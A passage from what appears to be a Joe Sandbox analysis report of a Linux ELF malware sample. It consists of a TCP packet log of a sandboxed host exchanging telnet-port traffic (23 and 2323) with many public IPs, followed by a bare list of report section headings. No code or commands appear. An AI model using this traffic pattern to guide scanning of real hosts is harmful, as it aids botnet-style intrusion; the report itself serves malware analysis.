Aug 6, 2024 08:32:58.828259945 CEST	23	61398	142.121.164.225	192.168.2.14
Aug 6, 2024 08:32:58.828268051 CEST	61398	23	192.168.2.14	213.213.5.62
Aug 6, 2024 08:32:58.828269005 CEST	23	61398	45.60.191.76	192.168.2.14
Aug 6, 2024 08:32:58.828282118 CEST	2323	61398	171.240.174.160	192.168.2.14
Aug 6, 2024 08:32:58.828290939 CEST	23	61398	201.82.136.125	192.168.2.14
Aug 6, 2024 08:32:58.828299999 CEST	61398	23	192.168.2.14	45.60.191.76
Aug 6, 2024 08:32:58.828300953 CEST	23	61398	84.26.21.47	192.168.2.14
Aug 6, 2024 08:32:58.828301907 CEST	61398	23	192.168.2.14	142.121.164.225
Aug 6, 2024 08:32:58.828310966 CEST	23	61398	50.8.183.134	192.168.2.14
Aug 6, 2024 08:32:58.828320026 CEST	2323	61398	217.177.157.102	192.168.2.14
Aug 6, 2024 08:32:58.828325987 CEST	61398	2323	192.168.2.14	171.240.174.160
Aug 6, 2024 08:32:58.828327894 CEST	61398	23	192.168.2.14	84.26.21.47
Aug 6, 2024 08:32:58.828327894 CEST	61398	23	192.168.2.14	201.82.136.125
Aug 6, 2024 08:32:58.828329086 CEST	2323	61398	17.221.195.87	192.168.2.14
Aug 6, 2024 08:32:58.828340054 CEST	23	61398	25.167.47.241	192.168.2.14
Aug 6, 2024 08:32:58.828350067 CEST	23	61398	217.74.5.254	192.168.2.14
Aug 6, 2024 08:32:58.828351974 CEST	61398	2323	192.168.2.14	217.177.157.102
Aug 6, 2024 08:32:58.828355074 CEST	61398	23	192.168.2.14	50.8.183.134
Aug 6, 2024 08:32:58.828355074 CEST	61398	2323	192.168.2.14	17.221.195.87
Aug 6, 2024 08:32:58.828358889 CEST	23	61398	101.251.172.72	192.168.2.14
Aug 6, 2024 08:32:58.828371048 CEST	23	61398	106.86.158.60	192.168.2.14
Aug 6, 2024 08:32:58.828380108 CEST	23	61398	67.115.41.78	192.168.2.14
Aug 6, 2024 08:32:58.828383923 CEST	61398	23	192.168.2.14	217.74.5.254
Aug 6, 2024 08:32:58.828385115 CEST	61398	23	192.168.2.14	25.167.47.241
Aug 6, 2024 08:32:58.828389883 CEST	23	61398	142.233.201.63	192.168.2.14
Aug 6, 2024 08:32:58.828398943 CEST	61398	23	192.168.2.14	101.251.172.72
Aug 6, 2024 08:32:58.828401089 CEST	23	61398	171.220.95.241	192.168.2.14
Aug 6, 2024 08:32:58.828401089 CEST	61398	23	192.168.2.14	106.86.158.60
Aug 6, 2024 08:32:58.828416109 CEST	61398	23	192.168.2.14	67.115.41.78
Aug 6, 2024 08:32:58.828429937 CEST	61398	23	192.168.2.14	171.220.95.241
Aug 6, 2024 08:32:58.828432083 CEST	61398	23	192.168.2.14	142.233.201.63
Aug 6, 2024 08:32:58.828668118 CEST	23	61398	43.7.101.47	192.168.2.14
Aug 6, 2024 08:32:58.828677893 CEST	23	61398	106.144.189.111	192.168.2.14
Aug 6, 2024 08:32:58.828686953 CEST	23	61398	163.60.225.199	192.168.2.14
Aug 6, 2024 08:32:58.828691006 CEST	23	61398	137.94.133.222	192.168.2.14
Aug 6, 2024 08:32:58.828701019 CEST	23	61398	221.141.52.4	192.168.2.14
Aug 6, 2024 08:32:58.828708887 CEST	61398	23	192.168.2.14	43.7.101.4

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Linux Analysis Report
77.90.35.9-skid.x86-2024-07-30T07_10_50.elf